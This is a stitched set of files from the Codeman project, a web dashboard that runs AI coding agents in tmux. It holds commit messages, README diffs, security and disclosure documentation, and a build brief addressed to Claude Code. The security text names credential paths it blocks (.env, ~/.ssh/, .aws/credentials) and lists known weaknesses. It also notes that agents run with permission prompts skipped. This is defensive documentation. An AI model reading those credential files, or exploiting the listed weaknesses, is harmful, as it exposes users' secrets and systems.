- Lazy-load xterm-addon-webgl.min.js (244KB) only on desktop — mobile never downloads it
- Add <link rel="preload"> hints for critical scripts (xterm, constants, app) in <head>
- Replace per-session tmux subprocess calls with single batch `list-panes -a` call
(N*2+1+M execSync calls → 1 for reconcileSessions)
- Fix CLAUDE.md frontend module count (10 → 11)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Replace v4 (Node 20) with v6 (Node 24 native) to eliminate the
deprecation warning. Remove the FORCE_JAVASCRIPT_ACTIONS_TO_NODE24
workaround since v6 doesn't need it.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Opt into Node.js 24 for GitHub Actions runners (actions/checkout@v4,
actions/setup-node@v4) to silence deprecation warnings. Also bump
release.yml from node 20 to 22 to match ci.yml.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Close WebSocket when session exits (exit event listener) to prevent
orphaned listeners and stale writes to dead PTY
- Add readyState guard in onTerminal to stop buffering after socket closes
- Simplify heartbeat: remove redundant alive flag, use pongTimeout only
- Add exponential backoff reconnection on unexpected WS close (skip for
server rejections 4004/4008/4009)
- Clear CJK textarea on session switch to prevent wrong-session input
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
WebSocket route: add socket error handler to prevent process crashes, enforce
per-session connection limit (max 5), track/decrement counts on close.
CJK input: add destroy() method with proper listener cleanup, guard against
double-init, add maxlength/aria-label to textarea, use language-neutral
placeholder, explicitly clear cjkActive on hide.
install.sh: fix update() to use $BRANCH and $REPO_URL instead of hardcoded
origin/master — fork users were silently switched back to master on update.
README: fix broken markdown table (paragraph concatenated into last cell),
add CODEMAN_NODE_VERSION to env var table.
Tests: add 8 new test cases for batch coalescing, flush threshold, unknown
message types, connection limit, heartbeat, readyState guards. Import
MAX_INPUT_LENGTH from config, add connectWs timeout, replace setTimeout
with vi.waitFor in cleanup test.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Replace hardcoded contributor fork URL with <user>/<branch> placeholders
so the documentation is useful for any contributor.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
16 tests covering session-not-found close code, terminal output with
DEC 2026 sync markers, client input forwarding, resize bounds
validation, malformed message handling, and connection cleanup of
session event listeners.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Detect stale connections that TCP keepalive won't catch for minutes,
especially through tunnels and proxies. Pings every 30s with a 10s
pong timeout — if the client doesn't respond, the socket is terminated
and all timers cleaned up.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The HTTP resize route validates via ResizeSchema (cols: 1-500, rows:
1-200, integers only). The WS handler only checked typeof === 'number',
allowing floats, negatives, and extreme values through to ptyProcess.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The update path was hardcoded to origin/master. Now uses the
CODEMAN_BRANCH variable and updates the remote URL on upgrade.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Add CODEMAN_REPO_URL and CODEMAN_BRANCH env vars to install.sh
for installing from forks or feature branches. Update README with
fork installation instructions and env var reference table.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Add a dedicated textarea below the terminal for CJK (Korean/Japanese/Chinese)
IME input. xterm.js intercepts IME composition events, preventing composed
characters from displaying correctly. This textarea bypasses xterm entirely
by using native browser IME handling — text accumulates until Enter, then
sends to PTY in one shot.
- Always-visible textarea below terminal (inside .terminal-wrap flex column)
- focus/blur sets window.cjkActive flag to block xterm onData
- Enter sends textarea.value + \r to PTY, Escape clears
- Arrow keys, Ctrl+C/D/L/Z, Tab, Backspace pass through to PTY when empty
- attachCustomKeyEventHandler suppresses xterm key handling during composition
- INPUT_CJK_FORM=ON|OFF env var toggle (default: off, passed via SSE init)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Replace per-keystroke HTTP POST + SSE terminal output with a single
bidirectional WebSocket connection for dramatically lower input latency.
The existing SSE+POST paths remain fully functional as fallback.
Server-side: ws-routes.ts provides /ws/sessions/:id/terminal with 8ms
micro-batching and 16KB flush threshold. Each batch is wrapped in
DEC 2026 synchronized update markers so xterm.js renders atomically —
Ink's DA capability negotiation fails through the PTY→server→WS proxy
chain, so without server-injected markers, cursor-up redraws flicker.
Frontend: _connectWs/_disconnectWs manage per-session WS lifecycle.
Input and resize use WS fast path with HTTP POST fallback. SSE terminal
events are suppressed when WS is active to prevent double rendering.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This installs Node.js and tmux if missing, clones Codeman to `~/.codeman/app`, and builds it. You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code) or [OpenCode](https://opencode.ai) (or both). After install:
This installs Node.js and tmux if missing, clones Codeman to `~/.codeman/app`, and builds it.
You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), or [Codex](https://developers.openai.com/codex/cli) (any combination works). After install:
```bash
codeman web
# Open http://localhost:3000 — press Ctrl+Enter to start your first session
# Open http://localhost:3000 and start your first session
```
<details>
<summary><strong>Run as a background service</strong></summary>
Codeman requires tmux, so Windows users need [WSL](https://learn.microsoft.com/en-us/windows/wsl/install). If you don't have WSL yet: run `wsl --install` in an admin PowerShell, reboot, open Ubuntu, then install your preferred AI coding CLI inside WSL ([Claude Code](https://docs.anthropic.com/en/docs/claude-code) or [OpenCode](https://opencode.ai)). After installing, `http://localhost:3000` is accessible from your Windows browser.
Codeman requires tmux, so Windows users need [WSL](https://learn.microsoft.com/en-us/windows/wsl/install). If you don't have WSL yet: run `wsl --install` in an admin PowerShell, reboot, open Ubuntu, then install your preferred AI coding CLI inside WSL ([Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), or [Codex](https://developers.openai.com/codex/cli)). After installing, `http://localhost:3000` is accessible from your Windows browser.
</details>
---
## Using Codeman — A Human's Guide
A start-to-finish walkthrough for driving Codeman from the browser. If you just installed, this is where to begin.
### 1. Launch the server
```bash
codeman web # localhost:3000 (loopback only — safe default)
codeman web --port 8080# custom port (or set CODEMAN_PORT)
codeman web --https # self-signed TLS (only needed for remote access)
codeman web -H 0.0.0.0 # bind LAN — REQUIRES CODEMAN_PASSWORD (see Security)
```
Open the printed URL. The page is a single dashboard; everything below happens there.
### 2. Create your first session
Click **+ New Session** (or **Quick Start**). A session is one AI CLI running in its own tmux-backed terminal. You choose:
| **Working directory / case** | The folder the agent operates in. A "case" is just a named working dir Codeman remembers. |
| **CLI / run mode** | `Claude` (default), `OpenCode`, `Codex`, `Gemini`, or `Terminal` (plain shell). |
| **Model** | Per-session model (App Settings → Claude Model). A soft default — `/model` still works in-session. |
| **Effort / Ultracode** | Reasoning effort (`low`–`max`) or `ultracode` for dynamic multi-agent workflows. Switchable anytime with `/effort`. |
Hit start — Codeman spawns the CLI via a real PTY and streams it to your browser over SSE.
### 3. Read the dashboard
- **Tabs (top)** — one per session. `Alt+1`-`9` to jump, `Ctrl+Tab` for next, drag to reorder.
- **Terminal (center)** — a real `xterm.js` terminal; full TUIs render correctly. Type directly and press **Enter** to send. `Shift+Enter` inserts a newline.
- **Side panels** — Respawn, Ralph, Orchestrator, Cron, Subagents, Settings (toggled from the toolbar).
### 4. Talk to the agent
- **Type prompts** straight into the terminal — input is delivered exactly-once even across reconnects (a dropped link never loses or double-sends a prompt).
- **Paste or drag-and-drop images** directly into the session.
- **Voice input** — `Ctrl+Shift+V` (Deepgram Nova-3, with auto-silence stop).
- **Attachments** — register external files/docs and preview Office/PDF inline.
- **Self-update** — git-clone installs update in place from **Settings → Updates**.
- **Deploy your own changes** — see [Development](#development).
> ⚠️ **Safety:** if you're working _inside_ a Codeman-managed session (`echo $CODEMAN_MUX` → `1`), never run `tmux kill-session` / `pkill claude` directly — use the web UI or `./scripts/tmux-manager.sh`.
---
## Mobile-Optimized Web UI
The most responsive AI coding agent experience on any phone. Full xterm.js terminal with local echo, swipe navigation, and a touch-optimized interface designed for real remote work — not a desktop UI crammed onto a small screen.
@@ -134,6 +252,8 @@ Watch background agents work in real-time. Codeman monitors agent activity and d
- **Auto-behavior** — windows auto-open on spawn, auto-minimize on completion, tab badge shows "AGENT" or "AGENTS (n)" count
**Agent Teams** — first-class support for Claude Code's native multi-agent teams (`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`). `TeamWatcher` polls `~/.claude/teams/`, matches teammates to their lead session, and surfaces them as live subagent windows with **team-aware idle detection** — so the Respawn Controller won't fire while teammates are still working. See [`docs/agent-teams/`](docs/agent-teams/).
- **Auto-resume on usage limit** _(opt-in, off by default)_ — when Claude halts on a subscription limit ("You've hit your limit · resets 3pm"), Codeman parses the reset time, waits it out plus a 2-minute safety buffer, then dismisses the rate-limit dialog and sends `continue` — so an overnight run survives the 5-hour window instead of stalling until morning. Recognizes every Claude Code limit-message format, retries if still limited, survives Codeman restarts, and holds respawn cycles while paused so `/clear` can't wipe the waiting conversation. Enable per session at the top of the Respawn tab
- **Circuit breaker** — prevents respawn thrashing when Claude is stuck (CLOSED -> HALF_OPEN -> OPEN states, tracks consecutive no-progress and repeated errors)
- **Health scoring** — 0-100 health score with component scores for cycle success, circuit breaker state, iteration progress, and stuck recovery
Beyond single-session respawn, the **Orchestrator** turns a high-level goal into a phased plan and drives it to completion across multiple agents — a state machine that runs `idle → planning → approval → executing → verifying → (replanning) → completed`.
- **Plan, then execute** — generates a phased plan from your goal and pauses for approval before touching anything; reject with feedback to regenerate
- **Per-phase verification gates** — each phase is verified before the next begins; on failure the orchestrator replans instead of barreling ahead
- **Multi-agent execution** — fans phases out to team agents / a task queue, coordinating work too big for one session
- **Crash-safe** — full state persists under the `orchestrator` key in `state.json`, so it survives restarts
- **Driven from the UI or API** — the Orchestrator panel, or `POST /api/orchestrator/start` → `/approve` → `/status` (10 endpoints)
> Distinct from Ralph (a single-session autonomous loop): the orchestrator coordinates multi-phase, multi-agent execution. Full design: [`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md).
---
## Multi-Session Dashboard
Run **20 parallel sessions** with full visibility — real-time xterm.js terminals at 60fps, per-session token and cost tracking, tab-based navigation, and one-click management.
@@ -183,12 +318,23 @@ Run **20 parallel sessions** with full visibility — real-time xterm.js termina
Every session runs inside **tmux** — sessions survive server restarts, network drops, and machine sleep. Auto-recovery on startup with dual redundancy. Ghost session discovery finds orphaned tmux sessions. Managed sessions are environment-tagged so the agent won't kill its own session.
### Hostname-Aware Window Title
Running Codeman on multiple hosts (laptop, dev box, NAS)? The browser tab title is `codeman:<hostname>` so you can tell which backend each tab points at without clicking in:
```bash
codeman web # codeman:<os.hostname()>
codeman web --title-hostname dev-box # codeman:dev-box (manual override for noisy hostnames)
```
The title is templated into the served HTML on first byte, so it's correct from the very first paint and works without JavaScript. The same hostname prefix is applied to the tab-flash format (`⚠️ (N) codeman:<host>`) and to OS-level desktop notifications (`codeman:<host>: <event>`), so cross-host alerts in the system notification center are also unambiguous.
- **Self-update** — git-clone installs under systemd/launchd update in place from **App Settings → Updates**: it detects the latest release, auto-stashes a dirty tree, and streams build progress across the service restart (npm installs report as non-updatable)
- **Multi-CLI** — run **Claude Code**, **OpenCode**, or **Codex** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md)
- **Effort & Ultracode** — set a per-session default effort (`low`–`max`) or enable **ultracode** (dynamic multi-agent workflows). Soft defaults only — switchable anytime with `/effort` in-session. Extended-thinking budget is configurable too
- **Voice input** — dictate prompts with Deepgram Nova-3 (Web Speech API fallback): toggle recording, auto-silence stop, live level meter (`Ctrl+Shift+V`)
- **Image input** — paste or drag-and-drop images straight into a session
- **Gesture control** _(opt-in)_ — a MediaPipe hand-tracking overlay to grab/drag session windows and pinch buttons, hands-free. Enable with `CODEMAN_GESTURE=1` + App Settings → Display
- **Multi-monitor span** _(macOS)_ — one click opens a browser window maximized across all displays, so floating agent/gesture panels can cross the physical seam
- **CJK / IME input** — full composition support for Chinese / Japanese / Korean
- **OS notifications & hostname-aware titles** — desktop alerts and tab titles are prefixed `codeman:<host>` so multi-host setups stay unambiguous
---
## Remote Access — Cloudflare Tunnel
Access Codeman from your phone or any device outside your local network using a free [Cloudflare quick tunnel](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/) — no port forwarding, no DNS, no static IP required.
@@ -283,14 +443,14 @@ Every **60 seconds**, the server automatically rotates to a fresh token. The pre
The design is informed by ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin) (USENIX Security 2025), which found 47 of the top-100 websites vulnerable to QR auth attacks due to 6 critical design flaws across 42 CVEs. Codeman addresses all six:
| USENIX Flaw | Mitigation |
|-------------|------------|
| **Flaw-1**: Missing single-use enforcement | Token atomically consumed on first scan — replays always fail |
| **Flaw-2**: Long-lived tokens | 60s TTL with 90s grace, auto-rotation via timer |
| **Flaw-3**: Predictable token generation | `crypto.randomBytes(32)` — 256-bit entropy. Short codes use rejection sampling to eliminate modulo bias |
| **Flaw-4**: Client-side token generation | Server-side only — tokens never leave the server until embedded in the QR |
| **Flaw-5**: Missing status notification | Desktop toast: *"Device [IP] authenticated via QR (Safari). Not you? [Revoke]"* — real-time QRLjacking detection |
| **Flaw-6**: Inadequate session binding | IP + User-Agent stored for audit. Manual session revocation via API. HttpOnly + Secure + SameSite=lax cookies |
| **Flaw-1**: Missing single-use enforcement | Token atomically consumed on first scan — replays always fail |
| **Flaw-2**: Long-lived tokens | 60s TTL with 90s grace, auto-rotation via timer |
| **Flaw-3**: Predictable token generation | `crypto.randomBytes(32)` — 256-bit entropy. Short codes use rejection sampling to eliminate modulo bias |
| **Flaw-4**: Client-side token generation | Server-side only — tokens never leave the server until embedded in the QR |
| **Flaw-5**: Missing status notification | Desktop toast: _"Device [IP] authenticated via QR (Safari). Not you? [Revoke]"_ — real-time QRLjacking detection |
| **Flaw-6**: Inadequate session binding | IP + User-Agent stored for audit. Manual session revocation via API. HttpOnly + Secure + SameSite=lax cookies |
#### Timing-Safe Lookup
@@ -315,28 +475,63 @@ When someone authenticates via QR, the desktop shows a notification toast with t
#### Threat Coverage
| Threat | Why it doesn't work |
|--------|-------------------|
| **QR screenshot shared** | Single-use: consumed on first scan. 60s TTL: expired before the attacker can act. Desktop notification alerts you immediately. |
| **Cloudflare edge logs** | Short code is an opaque 6-char lookup key, not the real 256-bit token. Single-use means replaying from logs always fails. |
| **Brute force** | 56.8 billion combinations, ~2 valid at any time, dual-layer rate limiting blocks well before statistical feasibility. |
| **QR screenshot shared** | Single-use: consumed on first scan. 60s TTL: expired before the attacker can act. Desktop notification alerts you immediately. |
| **Cloudflare edge logs** | Short code is an opaque 6-char lookup key, not the real 256-bit token. Single-use means replaying from logs always fails. |
| **Brute force** | 56.8 billion combinations, ~2 valid at any time, dual-layer rate limiting blocks well before statistical feasibility. |
| **Signal** | Ephemeral public key, E2E encrypted channel | Stronger crypto, but [exploited by Russian state actors in 2025](https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger) via social engineering despite it |
| **Signal** | Ephemeral public key, E2E encrypted channel | Stronger crypto, but [exploited by Russian state actors in 2025](https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger) via social engineering despite it |
> Full design rationale, security analysis, and implementation details: [`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
---
## Security
Codeman launches sessions with `--dangerously-skip-permissions`, so the web UI is by design a remote-code-execution surface for whoever can reach it — the whole security model exists to control _who_ that is. Recent hardening (v0.9.0 + v0.9.5) closes the browser-driven attack paths that bite self-hosted dev tools. Full model: [`docs/security-architecture.md`](docs/security-architecture.md). **Found a vulnerability?** See [`SECURITY.md`](SECURITY.md) for private disclosure and the list of known limitations.
### Network & access
- **Loopback by default** — binds `127.0.0.1`, reachable only from the same machine, so the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD`_starts but prints a loud warning_ with three concrete fixes (set a password, loopback + an authenticated tunnel, or explicitly acknowledge with `--allow-unauthenticated-network`)
- **Optional auth, real sessions** — HTTP Basic via `CODEMAN_USERNAME` (default `admin`) / `CODEMAN_PASSWORD`. Success issues an opaque 256-bit `codeman_session` cookie (`randomBytes(32)`) — validated server-side, not client-signed, so it can't be forged offline (24h TTL, auto-extend, device-context audit log)
- **Per-IP rate limiting** — 10 failed attempts → `429` with `Retry-After` (15-min decay). A valid cookie or correct password recovers _immediately_ even while an attacker hammers the same IP — important because all tunnel traffic shares one loopback IP. QR auth has its own separate limiter
### Always-on browser hardening (v0.9.5)
These run for **every** request — before auth, even on the default no-password loopback install:
- **Host-header allowlist → blocks DNS rebinding.** A custom domain rebound to `127.0.0.1` is rejected with `403 host not allowed` before any handler runs. Allowed: `localhost`, any IP literal, the bind host, `.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS` (add custom reverse-proxy domains here — comma-separated; exact host or leading-dot `.suffix` for subdomains)
- **Cross-site Origin / CSRF guard.** On state-changing methods (`POST`/`PUT`/`PATCH`/`DELETE`) the `Origin` must pass the same allowlist, else `403 cross-site request blocked`. A _missing_ Origin is allowed (so `curl`, the CLI, and Claude Code hooks keep working); only a present-but-foreign or opaque `null` origin is rejected
- **Raw `text/plain` bodies.** The global parser no longer JSON-parses `text/plain`, closing the CORS "simple request" CSRF vector where a cross-site `fetch` could smuggle JSON into a write route with no preflight
- **WebSocket origin validation.** The terminal WS upgrade runs the same Host + Origin check and closes with code `4003` on failure (anti-CSWSH)
- **XSS-escaped agent output.** AI-derived strings (tool names, command arguments, subagent descriptions) are HTML-escaped at every injection site before rendering in the subagent / activity panels
### Input, files & headers
- **Schema-validated inputs** — every API body is checked with Zod v4 schemas; a `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` env-prefix allowlist gates which settings each CLI can receive
- **Path containment** — file routes `realpath` before boundary checks (no TOCTOU); `..`, absolute paths, and symlinks resolving outside the working dir are rejected. Caps: 10 MB text preview / 50 MB raw & download; `/api/download` blocklists sensitive paths (`.env`, `*credentials*`, `~/.ssh/`, `.aws/credentials`). SVG/HTML is served `octet-stream` + `nosniff` + attachment so it downloads rather than executes
- **Security headers** — `Content-Security-Policy` (`default-src 'self'`, every exception enumerated), `X-Content-Type-Options: nosniff`, `X-Frame-Options: SAMEORIGIN`, HSTS over HTTPS, and CORS reflected **only** for `localhost` / `127.0.0.1` / `::1`
### Supply chain & isolation
- **Pinned & verified deps** — security-sensitive transitive deps are forced to patched versions via npm `overrides`; lockfile integrity is checked on every commit/PR (all entries resolve to `registry.npmjs.org` with `sha512` hashes). Public assets are NUL-byte-scanned and `node --check`-validated in CI
- **Multi-instance isolation** — `CODEMAN_INSTANCE` scopes both the tmux socket (`-L codeman-<name>`) and data dir (`~/.codeman-<name>`) so two instances never attach each other's live sessions
> Mobile login uses single-use, 60-second QR tokens — see [QR Code Authentication](#qr-code-authentication) above for the full design (it addresses all 6 flaws from USENIX Security 2025's QR-login study).
---
## SSH Alternative (`sc`)
If you prefer SSH (Termius, Blink, etc.), the `sc` command is a thumb-friendly session chooser:
| `Ctrl/Cmd/Option+K` | Find open session or start a new one |
| `Ctrl/Cmd+Tab` | Next session |
| `Alt/Option+[` / `Alt/Option+]` | Previous / next session |
| `Alt/Option+1`-`Alt/Option+9` | Switch to tab N (physical keys, so macOS Option layouts work) |
| `Ctrl+Shift+{` / `Ctrl+Shift+}` | Move active tab left / right |
| `Ctrl/Cmd+L` | Clear terminal |
| `Ctrl+Shift+R` | Restore terminal size |
| `Ctrl+Shift+V` | Toggle voice input |
| `Ctrl/Cmd +` / `-` | Font size |
| `Ctrl/Cmd+?` | Keyboard help |
| `Shift+Enter` | Insert newline (sent to terminal) |
| `Escape` | Close panels & modals |
---
## Driving Codeman from an Agent — Programmatic Guide
For AI agents and automation that control Codeman without a browser: an agent that spins up worker sessions, a CI bot, or **Claude Code running _inside_ a Codeman session orchestrating other sessions**. Everything the UI does is HTTP + a CLI, so an agent can do it too.
### Detect that you're inside Codeman
When a CLI runs in a Codeman-managed session, these environment variables are set — read them instead of hardcoding anything:
| `CODEMAN_MUX=1` | You're in a managed tmux session. **Never**`tmux kill-session` / `pkill claude` / `pkill tmux` — you'll kill yourself or a sibling. |
| `CODEMAN_API_URL` | Base URL of the API (e.g. `https://127.0.0.1:3000`). Use it for every call below. |
| `CODEMAN_SESSION_ID` | _Your own_ session id. Use it to avoid acting on yourself. |
| `CODEMAN_HOOK_SECRET_FILE` | Path to the hook secret (required on `/api/hook-event` while a managed tunnel is up). |
### Rules of the road (read before you POST)
1.**Single-line input only.** Programmatic input is sent as literal text **+ Enter** in one shot. Multi-line strings break the agent TUI (Ink) — send one line, or split into multiple calls.
2.**Make input idempotent.** Include a stable `clientId` and a monotonic per-session `seq` on `POST …/input`. The server de-duplicates, so a retry after a dropped connection can't double-deliver a prompt.
3.**Auth.** If `CODEMAN_PASSWORD` is set, send HTTP Basic auth (user `admin` or `CODEMAN_USERNAME`) or a `codeman_session` cookie. The default loopback install is passwordless. A missing `Origin` header is allowed, so plain `curl` works; cross-site browser origins are rejected (CSRF guard).
4.**Response envelope.** Most endpoints return `{ "success": true, "data": … }` (errors: `{ "success": false, "error", "errorCode" }`). A few legacy GETs return bare bodies — **handle both** (`body.data ?? body`).
5.**`/api/v1/*`** is a stable alias of `/api/*`.
### Recipes
```bash
API="${CODEMAN_API_URL:-http://127.0.0.1:3000}"
# (add -u admin:"$CODEMAN_PASSWORD" to each call if a password is set)
# 1. See what's running
curl -s "$API/api/sessions"| jq '.data // .'
# 2. Spin up a worker session (a "case" = named working dir)
The same operations are available as commands (`codeman <cmd>`, aliases in parentheses) — handy from a shell tool inside a session:
```bash
codeman session start -d /path/to/repo # (s) start a session
codeman session list # list sessions
codeman session logs <id> # tail output
codeman task add "fix the failing test"# (t) queue a task
codeman ralph start --min-hours 8# (r) launch the autonomous loop
codeman attach <path> # attach a Claude hook context
```
### Hooks (events flowing _back_ to Codeman)
Codeman registers Claude Code hooks that `POST /api/hook-event` (`permission_prompt`, `idle_prompt`, `stop`, `task_completed`, …) so the dashboard reacts in real time. This endpoint is auth-exempt on loopback but, under a managed tunnel, requires the `X-Codeman-Hook-Secret` header (read it from `$CODEMAN_HOOK_SECRET_FILE`). You normally don't call this by hand — Codeman wires it up — but it's how the autonomy layers "see" what the agent is doing.
> Full endpoint list and request/response shapes follow.
---
## API
REST over Fastify — **~160 handlers across 18 route modules**, plus an SSE stream and a WebSocket terminal channel. All responses use the `ApiResponse<T>` envelope (`{success, data}` / `{success, error, errorCode}`); `/api/v1/*` is a stable alias. A representative subset:
@@ -476,16 +798,16 @@ See [CLAUDE.md](./CLAUDE.md) for full documentation.
The codebase went through a comprehensive 7-phase refactoring that eliminated god objects, centralized configuration, and established modular architecture:
reverse proxy), reproduction steps, and impact. We aim to acknowledge within a
few days. Coordinated disclosure is appreciated — we'll agree a disclosure
timeline with you once impact is confirmed.
### In scope
- Authentication / session-cookie bypass when `CODEMAN_PASSWORD` is set
- DNS-rebinding, CSRF/CSWSH, or Origin/Host-guard bypass reaching state-changing routes
- Remote code execution reachable **without** local OS access (e.g. via a browser, a tunnel, or a foreign origin)
- Path traversal / arbitrary file read or write through the HTTP API
- Supply-chain integrity of the in-app self-updater
### Out of scope (by design — see Known limitations)
- Anything requiring an already-trusted **same-machine, same-uid** process. Codeman trusts the local OS user it runs as; a peer process of that user is already inside the boundary.
- Running an authless instance bound to a non-loopback host after dismissing the startup warning (you explicitly acknowledged it).
- The default loopback + no-password posture itself (it is reachable only from the same machine).
## Trust model (summary)
- **Loopback by default.** Binds `127.0.0.1`; the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD`*starts but prints a loud warning* with concrete fixes.
- **Always-on Host + Origin guards.** Block DNS-rebinding and cross-site state-changing requests even on the no-auth loopback install (a missing Origin is allowed so CLI/hooks work).
- **Optional auth.** HTTP Basic via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD`; success issues an opaque server-side 256-bit cookie. Per-IP rate limiting on failures.
- **Hardened file serving, tmux launch, transport headers, and multi-instance isolation** — see the full architecture doc.
## Known limitations and accepted risk
A 1.0 release is an implicit statement that the documented model *is* the model, so
these residuals are stated explicitly. Most sit **inside the same-uid OS trust
boundary** or behind the always-on Origin guard; they matter mainly for
shared-host, multi-user, or tunneled deployments.
- **Self-update trusts an unsigned release tag.** The in-app updater does `git checkout <tag> && npm install` (lifecycle scripts run) of a tag matched only by name shape, from whatever `origin` points to — no signature/commit verification. Treat the updater as trusting your `origin` remote and your release pipeline. (Hardening tracked for 1.0.)
- **CSP ships `'unsafe-inline'`.** Inline handlers mean the Content-Security-Policy is defense-in-depth only; all AI-/file-derived sinks are escaped, but a future missed escape would be executable.
- **`workingDir` is unconstrained.** A session may be created with any absolute working directory (e.g. `/`), which becomes the file-route boundary for that session. Scope it to trusted paths on shared hosts.
- **Hook-event auth exemption is loopback-IP-based.** `POST /api/hook-event` is exempt from auth for loopback callers; because tunnels (cloudflared / `tailscale serve`) terminate at `127.0.0.1`, a loopback-terminating tunnel inherits the exemption. Set `CODEMAN_PASSWORD` and prefer a tunnel that preserves the client identity if this matters.
- **Session cookie is not bound to client IP/UA on reuse, and refreshes without an absolute cap.** A stolen cookie replays until its idle TTL elapses.
- **Multi-instance tmux socket is process-wide.** Two Codeman instances on the same `CODEMAN_INSTANCE` share a tmux socket and can attach each other's live sessions — isolate with distinct `CODEMAN_INSTANCE` values.
- **The live log-tail route reads `/var/log` and `~/logs`** in addition to the session working directory (read-only) — a deliberate choice for tailing system/app logs. On a password-protected remote deployment an authenticated user can therefore read those roots outside their session. See `docs/security-architecture.md` §5.
Recent hardening (this release): web-push subscription endpoints are restricted
to https public hosts (SSRF guard — rejects internal/metadata IPs, validated at
subscribe and send time), and tmux session names discovered on the shared socket
are validated against the safe-name pattern before reaching any shell call site.
For the detailed rationale, defenses, and recommended secure setups, see
The backend is **already production-grade** — SSE broadcasting, state persistence, terminal batching, buffer management, and memory patterns are all well-optimized. The biggest gains are on the **frontend delivery** side.
Browser discovers `<script defer>` tags only when the parser reaches them at the bottom of `<body>`. By then, the HTML parse has blocked for hundreds of lines.
- Added `<link rel="preload" as="script">` in `<head>` for `vendor/xterm.min.js`, `constants.js`, `app.js`
- Browser starts fetching critical scripts immediately during HTML parse (before reaching `<body>`)
- Zero runtime overhead — just hints for the browser's preload scanner
`reconcileSessions()` previously called `tmux has-session` + `tmux display-message` per known session, plus `tmux list-sessions` for discovery, plus `tmux display-message` per discovered session. With 20 sessions: 41+ subprocess calls.
- Replaced with single `tmux list-panes -a -F '#{session_name}\t#{pane_pid}'` call
- Builds a Map from the result, then does O(1) lookups for both known and discovered sessions
- Also replaced inner O(n) `isKnown` scan with a Set lookup
# Claude Code Build Brief: Add Scheduling to Codeman
## 0. Purpose of This Brief
You are Claude Code working inside the Codeman repository.
Your task is to add a **small, reliable scheduling layer** to Codeman while preserving Codeman's existing architecture and session-management behavior.
This is not a greenfield rewrite. This is not a full product rebuild. This is a focused extension.
The target user wants Codeman-like tmux/web/session management, but with first-class scheduled jobs for Claude, Codex, OpenCode, Terminal, or any other configurable coding-agent harness.
---
## 1. Non-Negotiable Goal
Add scheduling to Codeman so a user can define a scheduled coding-agent job that:
1. Has a name.
2. Uses an existing Codeman-supported agent/session type where possible.
3. Has a working directory.
4. Has a prompt or prompt file.
5. Has a schedule.
6. Can be enabled or disabled.
7. Can be manually run now.
8. When due, creates a Codeman/tmux session.
9. Sends the configured prompt into that session.
10. Records last run, next run, status, and run history.
The first working version should prioritize **scheduling correctness and reuse of Codeman's existing tmux/session system** over UI polish.
| `workingDir` | ✅ | valid path (allowlist-validated) | Validated at **create/update** (must exist, be a directory, and not resolve into a blocked tree — `/etc`, `/root`, `/proc`, `/sys`, `/dev`, or `/` itself) and again **at fire time**. |
| `launchCommand` | — | ≤ 2000 chars, single line | `shell` mode only: sent as the **first input line** once the shell is up, before the prompt. Ignored for other agent types. |
| `enabled` | ✅ | boolean | Disabled jobs never auto-fire (but **Run Now** still works). |
| `notes` | — | ≤ 2000 chars | Free-form. |
| `concurrencyPolicy` | ✅ | `warn_only` \| `skip_if_same_agent_running` | Applies to **automatic** runs only. See §7. |
| `autoClosePreviousSession` | — | boolean (default **true**) | Recurring schedules only (ignored for `once`): when the next run fires, the still-open session created by this job's **previous** run is closed first via the normal cleanup path. See §8. |
**Cross-field validation** (`refineCronJob` in `schemas.ts`): the conditional
fields above are enforced by a Zod `superRefine` on create. A missing dependent
field (e.g. `scheduleType: "once"` with no `runAt`) is rejected with
`INVALID_INPUT` and a field-specific message.
> ⚠️ **Update caveat.** `PUT /api/cron/jobs/:id` uses a `.partial()` schema that
> does **not** re-run the cross-field `superRefine`. To keep partial edits safe,
> `updateJob()` re-validates the **merged** job against the full `CronJobSchema`
> and throws `400` if the result is inconsistent (e.g. switching to `once`
> without a `runAt`). So the store is never left with a half-valid job.
---
## 4. Schedule types
Next-run math lives in `src/cron/cron-time.ts` (pure, unit-tested in
`test/cron-time.test.ts`). **All wall-clock times use the server's local
timezone** (v0.1 decision).
### `once`
- Fires a single time at the absolute `runAt` epoch-ms.
- A **missed** one-time job (server was down at `runAt`) **still fires once** on
the next tick — `computeNextRunAt` returns `runAt` even if it's in the past,
until the job has fired.
- After firing, the job **self-disables**: `completedOnce = true`, `enabled =
false`, `nextRunAt = null`.
### `interval`
- Fires every `intervalMinutes`, computed as `fireTime + intervalMinutes`.
